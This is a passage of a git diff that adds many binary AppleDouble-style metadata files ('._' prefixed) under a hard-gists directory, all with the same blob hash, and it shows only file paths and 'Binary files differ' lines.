a/hard-gists/._1519543 b/hard-gists/._1519543 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1519543 differ diff --git a/hard-gists/._1521059 b/hard-gists/._1521059 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1521059 differ diff --git a/hard-gists/._1522bcdb5b05365c0222 b/hard-gists/._1522bcdb5b05365c0222 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1522bcdb5b05365c0222 differ diff --git a/hard-gists/._1526444 b/hard-gists/._1526444 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1526444 differ diff --git a/hard-gists/._152f15b2dadca9a74039aeab944714af b/hard-gists/._152f15b2dadca9a74039aeab944714af new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._152f15b2dadca9a74039aeab944714af differ diff --git a/hard-gists/._1534135a419bb0b957b9 b/hard-gists/._1534135a419bb0b957b9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1534135a419bb0b957b9 differ diff --git a/hard-gists/._1545255 b/hard-gists/._1545255 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1545255 differ diff --git a/hard-gists/._1551619 b/hard-gists/._1551619 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1551619 differ diff --git a/hard-gists/._1554441 b/hard-gists/._1554441 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1554441 differ diff --git a/hard-gists/._1556251 b/hard-gists/._1556251 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1556251 differ diff --git a/hard-gists/._1558831 b/hard-gists/._1558831 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1558831 differ diff --git a/hard-gists/._1561144 b/hard-gists/._1561144 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1561144 differ diff --git a/hard-gists/._1567224 b/hard-gists/._1567224 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1567224 differ diff --git a/hard-gists/._1572547 b/hard-gists/._1572547 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1572547 differ diff --git a/hard-gists/._1574231 b/hard-gists/._1574231 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1574231 differ diff --git a/hard-gists/._1589531 b/hard-gists/._1589531 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1589531 differ diff --git a/hard-gists/._1590178 b/hard-gists/._1590178 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1590178 differ diff --git a/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969 b/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969 differ diff --git a/hard-gists/._15f0772db25343be0bb7072f15992a4e b/hard-gists/._15f0772db25343be0bb7072f15992a4e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._15f0772db25343be0bb7072f15992a4e differ diff --git a/hard-gists/._1600408 b/hard-gists/._1600408 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1600408 differ diff --git a/hard-gists/._1608287 b/hard-gists/._1608287 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1608287 differ diff --git a/hard-gists/._160c990c61c5f527445c b/hard-gists/._160c990c61c5f527445c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._160c990c61c5f527445c differ diff --git a/hard-gists/._1610922 b/hard-gists/._1610922 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1610922 differ diff --git a/hard-gists/._1628838 b/hard-gists/._1628838 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1628838 differ diff --git a/hard-gists/._1638546 b/hard-gists/._1638546 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1638546 differ diff --git a/hard-gists/._1638695 b/hard-gists/._1638695 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1638695 differ diff --git a/hard-gists/._1639941 b/hard-gists/._1639941 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1639941 differ diff --git a/hard-gists/._163f5fdf47ab45d7addd b/hard-gists/._163f5fdf47ab45d7addd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._163f5fdf47ab45d7addd differ diff --git a/hard-gists/._1646117 b/hard-gists/._1646117 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1646117 differ diff --git a/hard-gists/._1650115 b/hard-gists/._1650115 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1650115 differ diff --git a/hard-gists/._1650418 b/hard-gists/._1650418 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1650418 differ diff --git a/hard-gists/._1653394 b/hard-gists/._1653394 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1653394 differ diff --git a/hard-gists/._166499794efcdfde4d00 b/hard-gists/._166499794efcdfde4d00 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._166499794efcdfde4d00 differ diff --git a/hard-gists/._1676440 b/hard-gists/._1676440 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1676440 differ diff --git a/hard-gists/._1679110 b/hard-gists/._1679110 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1679110 differ diff --git a/hard-gists/._1685139 b/hard-gists/._1685139 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1685139 differ diff --git a/hard-gists/._1685580 b/hard-gists/._1685580 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1685580 differ diff --git a/hard-gists/._1688557 b/hard-gists/._1688557 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1688557 differ diff --git a/hard-gists/._168c9d74b988391e702aac5f4aa69e41 b/hard-gists/._168c9d74b988391e702aac5f4aa69e41 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._168c9d74b988391e702aac5f4aa69e41 differ diff --git a/hard-gists/._1693769 b/hard-gists/._1693769 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1693769 differ diff --git a/hard-gists/._1694496 b/hard-gists/._1694496 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1694496 differ diff --git a/hard-gists/._16c0eb09d232461a773c22803a3df35e b/hard-gists/._16c0eb09d232461a773c22803a3df35e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._16c0eb09d232461a773c22803a3df35e differ diff --git a/hard-gists/._16ce4914683da30f87d0 b/hard-gists/._16ce4914683da30f87d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._16ce4914683da30f87d0 differ diff --git a/hard-gists/._16e35ed936bab863a29b b/hard-gists/._16e35ed936bab863a29b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._16e35ed936bab863a29b differ diff --git a/hard-gists/._1701305 b/hard-gists/._1701305 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1701305 differ diff --git a/hard-gists/._1701845 b/hard-gists/._1701845 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1701845 differ diff --git a/hard-gists/._1702293 b/hard-gists/._1702293 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1702293 differ diff --git a/hard-gists/._1705235 b/hard-gists/._1705235 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1705235 differ diff --git a/hard-gists/._1707483 b/hard-gists/._1707483 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1707483 differ diff --git a/hard-gists/._1710122 b/hard-gists/._1710122 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1710122 differ diff --git a/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1 b/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1 differ diff --git a/hard-gists/._1715202 b/hard-gists/._1715202 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1715202 differ diff --git a/hard-gists/._1716699 b/hard-gists/._1716699 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1716699 differ diff --git a/hard-gists/._1720032 b/hard-gists/._1720032 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1720032 differ diff --git a/hard-gists/._1722150 b/hard-gists/._1722150 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1722150 differ diff --git a/hard-gists/._1722465 b/hard-gists/._1722465 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1722465 differ diff --git a/hard-gists/._1722663 b/hard-gists/._1722663 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1722663 differ diff --git a/hard-gists/._1727204 b/hard-gists/._1727204 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1727204 differ diff --git a/hard-gists/._1728255 b/hard-gists/._1728255 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1728255 differ diff --git a/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694 b/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694 differ diff --git a/hard-gists/._174056 b/hard-gists/._174056 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._174056 differ diff --git a/hard-gists/._1748a6676120a0aacea2 b/hard-gists/._1748a6676120a0aacea2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1748a6676120a0aacea2 differ diff --git a/hard-gists/._1752014 b/hard-gists/._1752014 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1752014 differ diff --git a/hard-gists/._1757120 b/hard-gists/._1757120 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1757120 differ diff --git a/hard-gists/._1757c55017ef2bfcc070909bdf0e6547 b/hard-gists/._1757c55017ef2bfcc070909bdf0e6547 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1757c55017ef2bfcc070909bdf0e6547 differ diff --git a/hard-gists/._1760854 b/hard-gists/._1760854 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1760854 differ diff --git a/hard-gists/._1761714 b/hard-gists/._1761714 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1761714 differ diff --git a/hard-gists/._1766791 b/hard-gists/._1766791 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1766791 differ diff --git a/hard-gists/._1771937 b/hard-gists/._1771937 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1771937 differ diff --git a/hard-gists/._1773870 b/hard-gists/._1773870 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1773870 differ diff --git a/hard-gists/._1776202 b/hard-gists/._1776202 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1776202 differ diff --git a/hard-gists/._177e37756c833768a21d446cc4921c6e b/hard-gists/._177e37756c833768a21d446cc4921c6e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._177e37756c833768a21d446cc4921c6e differ diff --git a/hard-gists/._1780878 b/hard-gists/._1780878 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1780878 differ diff --git a/hard-gists/._1788517 b/hard-gists/._1788517 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1788517 differ diff --git a/hard-gists/._1791644 b/hard-gists/._1791644 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1791644 differ diff --git a/hard-gists/._1792428 b/hard-gists/._1792428 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1792428 differ diff --git a/hard-gists/._1792732 b/hard-gists/._1792732 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1792732 differ diff --git a/hard-gists/._1795840 b/hard-gists/._1795840 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1795840 differ diff --git a/hard-gists/._1805981 b/hard-gists/._1805981 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1805981 differ diff --git a/hard-gists/._1808234 b/hard-gists/._1808234 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1808234 differ diff --git a/hard-gists/._1810707 b/hard-gists/._1810707 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1810707 differ diff --git a/hard-gists/._1815146 b/hard-gists/._1815146 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1815146 differ diff --git a/hard-gists/._1818351 b/hard-gists/._1818351 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1818351 differ diff --git a/hard-gists/._1820074 b/hard-gists/._1820074 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1820074 differ diff --git a/hard-gists/._1820829 b/hard-gists/._1820829 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1820829 differ diff --git a/hard-gists/._1823320 b/hard-gists/._1823320 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1823320 differ diff --git a/hard-gists/._18235723e926be0afbdd b/hard-gists/._18235723e926be0afbdd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._18235723e926be0afbdd differ diff --git a/hard-gists/._1825401 b/hard-gists/._1825401 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1825401 differ diff --git a/hard-gists/._1835224 b/hard-gists/._1835224 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1835224 differ diff --git a/hard-gists/._1844928 b/hard-gists/._1844928 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1844928 differ diff --git a/hard-gists/._18531dba2bec928424c0 b/hard-gists/._18531dba2bec928424c0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._18531dba2bec928424c0 differ diff --git a/hard-gists/._1858252 b/hard-gists/._1858252 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1858252 differ diff --git a/hard-gists/._1860715 b/hard-gists/._1860715 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1860715 differ diff --git a/hard-gists/._1871929 b/hard-gists/._1871929 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1871929 differ diff --git a/hard-gists/._1873692 b/hard-gists/._1873692 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1873692 differ diff --git a/hard-gists/._1876859 b/hard-gists/._1876859 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1876859 differ diff --git a/hard-gists/._1877577 b/hard-gists/._1877577 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1877577 differ diff --git a/hard-gists/._187895beb89f0a1b3a54 b/hard-gists/._187895beb89f0a1b3a54 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._187895beb89f0a1b3a54 differ diff --git a/hard-gists/._1878983 b/hard-gists/._1878983 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1878983 differ diff --git a/hard-gists/._1879626 b/hard-gists/._1879626 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1879626 differ diff --git a/hard-gists/._1882562 b/hard-gists/._1882562 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1882562 differ diff --git a/hard-gists/._18a73aa5dab4b574e2f5 b/hard-gists/._18a73aa5dab4b574e2f5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._18a73aa5dab4b574e2f5 differ diff --git a/hard-gists/._18a8e06c2b179bb78353fbacfeee82da b/hard-gists/._18a8e06c2b179bb78353fbacfeee82da new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._18a8e06c2b179bb78353fbacfeee82da differ diff --git a/hard-gists/._18e6b6ed5d69b057e773 b/hard-gists/._18e6b6ed5d69b057e773 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._18e6b6ed5d69b057e773 differ diff --git a/hard-gists/._1907f96e6e680bbeb15393d4f441b55e b/hard-gists/._1907f96e6e680bbeb15393d4f441b55e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1907f96e6e680bbeb15393d4f441b55e differ diff --git a/hard-gists/._1911238 b/hard-gists/._1911238 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1911238 differ diff --git a/hard-gists/._1912053 b/hard-gists/._1912053 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1912053 differ diff --git a/hard-gists/._19154831c2049a69e8d53dea8cf3e744 b/hard-gists/._19154831c2049a69e8d53dea8cf3e744 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._19154831c2049a69e8d53dea8cf3e744 differ diff --git a/hard-gists/._1918389 b/hard-gists/._1918389 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1918389 differ diff --git a/hard-gists/._1919511 b/hard-gists/._1919511 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1919511 differ diff --git a/hard-gists/._191d15e28c39246a2525 b/hard-gists/._191d15e28c39246a2525 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._191d15e28c39246a2525 differ diff --git a/hard-gists/._1920535 b/hard-gists/._1920535 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1920535 differ diff --git a/hard-gists/._1927a29f642593861afc b/hard-gists/._1927a29f642593861afc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1927a29f642593861afc differ diff --git a/hard-gists/._1928063 b/hard-gists/._1928063 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1928063 differ diff --git a/hard-gists/._19284bd220165758a0c953ae25108b6b b/hard-gists/._19284bd220165758a0c953ae25108b6b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._19284bd220165758a0c953ae25108b6b differ diff --git a/hard-gists/._19317d3e4b9a58f2355e7643040d483a b/hard-gists/._19317d3e4b9a58f2355e7643040d483a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._19317d3e4b9a58f2355e7643040d483a differ diff --git a/hard-gists/._1935808 b/hard-gists/._1935808 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1935808 differ diff --git a/hard-gists/._1940208 b/hard-gists/._1940208 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1940208 differ diff --git a/hard-gists/._1943426 b/hard-gists/._1943426 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1943426 differ diff --git a/hard-gists/._1947166 b/hard-gists/._1947166 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1947166 differ diff --git a/hard-gists/._1950267 b/hard-gists/._1950267 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1950267 differ diff --git a/hard-gists/._1951709 b/hard-gists/._1951709 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1951709 differ diff --git a/hard-gists/._1969d4648458cf876af92b3507856d70 b/hard-gists/._1969d4648458cf876af92b3507856d70 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1969d4648458cf876af92b3507856d70 differ diff --git a/hard-gists/._1971061 b/hard-gists/._1971061 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1971061 differ diff --git a/hard-gists/._1997771 b/hard-gists/._1997771 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1997771 differ diff --git a/hard-gists/._19a4b105d1dff9a591b8 b/hard-gists/._19a4b105d1dff9a591b8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._19a4b105d1dff9a591b8 differ diff --git a/hard-gists/._19d2397ff8da1952556cf2417d965f6c b/hard-gists/._19d2397ff8da1952556cf2417d965f6c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._19d2397ff8da1952556cf2417d965f6c differ diff --git a/hard-gists/._1a43c785226a06a72872 b/hard-gists/._1a43c785226a06a72872 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1a43c785226a06a72872 differ diff --git a/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70 b/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70 differ diff --git a/hard-gists/._1aefa4509e066690b892 b/hard-gists/._1aefa4509e066690b892 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1aefa4509e066690b892 differ diff --git a/hard-gists/._1b42a20c8f3eb9bb7cb8 b/hard-gists/._1b42a20c8f3eb9bb7cb8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1b42a20c8f3eb9bb7cb8 differ diff --git a/hard-gists/._1b49c03968b2c83897a4a15c78980b18 b/hard-gists/._1b49c03968b2c83897a4a15c78980b18 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1b49c03968b2c83897a4a15c78980b18 differ diff --git a/hard-gists/._1b94c541ffc158d3e668810b75d69405 b/hard-gists/._1b94c541ffc158d3e668810b75d69405 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1b94c541ffc158d3e668810b75d69405 differ diff --git a/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac b/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac differ diff --git a/hard-gists/._1c160c9eee91fd44c587 b/hard-gists/._1c160c9eee91fd44c587 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1c160c9eee91fd44c587 differ diff --git a/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9 b/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9 differ diff --git a/hard-gists/._1c48360bde201b3d54ab b/hard-gists/._1c48360bde201b3d54ab new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1c48360bde201b3d54ab differ diff --git a/hard-gists/._1c9b352ba19b5e33f9c4 b/hard-gists/._1c9b352ba19b5e33f9c4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1c9b352ba19b5e33f9c4 differ diff --git a/hard-gists/._1cae669defce037511ada4e0ed01b3cd b/hard-gists/._1cae669defce037511ada4e0ed01b3cd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1cae669defce037511ada4e0ed01b3cd differ diff --git a/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557 b/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557 differ diff --git a/hard-gists/._1cb65c4b5be2575ea3ab b/hard-gists/._1cb65c4b5be2575ea3ab new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1cb65c4b5be2575ea3ab differ diff --git a/hard-gists/._1cd6ce82490d2c0f2e0a b/hard-gists/._1cd6ce82490d2c0f2e0a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1cd6ce82490d2c0f2e0a differ diff --git a/hard-gists/._1cec2b3d8aeaaa102e3b b/hard-gists/._1cec2b3d8aeaaa102e3b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1cec2b3d8aeaaa102e3b differ diff --git a/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a b/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a differ diff --git a/hard-gists/._1d596ca757a541da96ac3caa6f291229 b/hard-gists/._1d596ca757a541da96ac3caa6f291229 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1d596ca757a541da96ac3caa6f291229 differ diff --git a/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021 b/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021 differ diff --git a/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33 b/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33 differ diff --git a/hard-gists/._1d878d0401b28b281eb75016ed29f2ee b/hard-gists/._1d878d0401b28b281eb75016ed29f2ee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1d878d0401b28b281eb75016ed29f2ee differ diff --git a/hard-gists/._1da13f548200d9fb2b06 b/hard-gists/._1da13f548200d9fb2b06 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1da13f548200d9fb2b06 differ diff --git a/hard-gists/._1ddc318b4124ed152f6d b/hard-gists/._1ddc318b4124ed152f6d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1ddc318b4124ed152f6d differ diff --git a/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd b/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd differ diff --git a/hard-gists/._1e1d383fb21841e8f144 b/hard-gists/._1e1d383fb21841e8f144 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e1d383fb21841e8f144 differ diff --git a/hard-gists/._1e2600ed62d5e76b21ee b/hard-gists/._1e2600ed62d5e76b21ee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e2600ed62d5e76b21ee differ diff --git a/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75 b/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75 differ diff --git a/hard-gists/._1e58686b6d5193cbaf30 b/hard-gists/._1e58686b6d5193cbaf30 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e58686b6d5193cbaf30 differ diff --git a/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5 b/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5 differ diff --git a/hard-gists/._1e7c794842755683162b b/hard-gists/._1e7c794842755683162b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e7c794842755683162b differ diff --git a/hard-gists/._1e7e3c1da32d00f8ce0dff6b86fd45fe b/hard-gists/._1e7e3c1da32d00f8ce0dff6b86fd45fe new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e7e3c1da32d00f8ce0dff6b86fd45fe differ diff --git a/hard-gists/._1e8ab5bcf1a3af2c20de b/hard-gists/._1e8ab5bcf1a3af2c20de new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1e8ab5bcf1a3af2c20de differ diff --git a/hard-gists/._1ebaeaaa7f7408647fef b/hard-gists/._1ebaeaaa7f7408647fef new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1ebaeaaa7f7408647fef differ diff --git a/hard-gists/._1ed9763ab4aa98516a7d b/hard-gists/._1ed9763ab4aa98516a7d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1ed9763ab4aa98516a7d differ diff --git a/hard-gists/._1f140573b37939e78eb5 b/hard-gists/._1f140573b37939e78eb5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1f140573b37939e78eb5 differ diff --git a/hard-gists/._1f66e4d58074d64c8268 b/hard-gists/._1f66e4d58074d64c8268 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1f66e4d58074d64c8268 differ diff 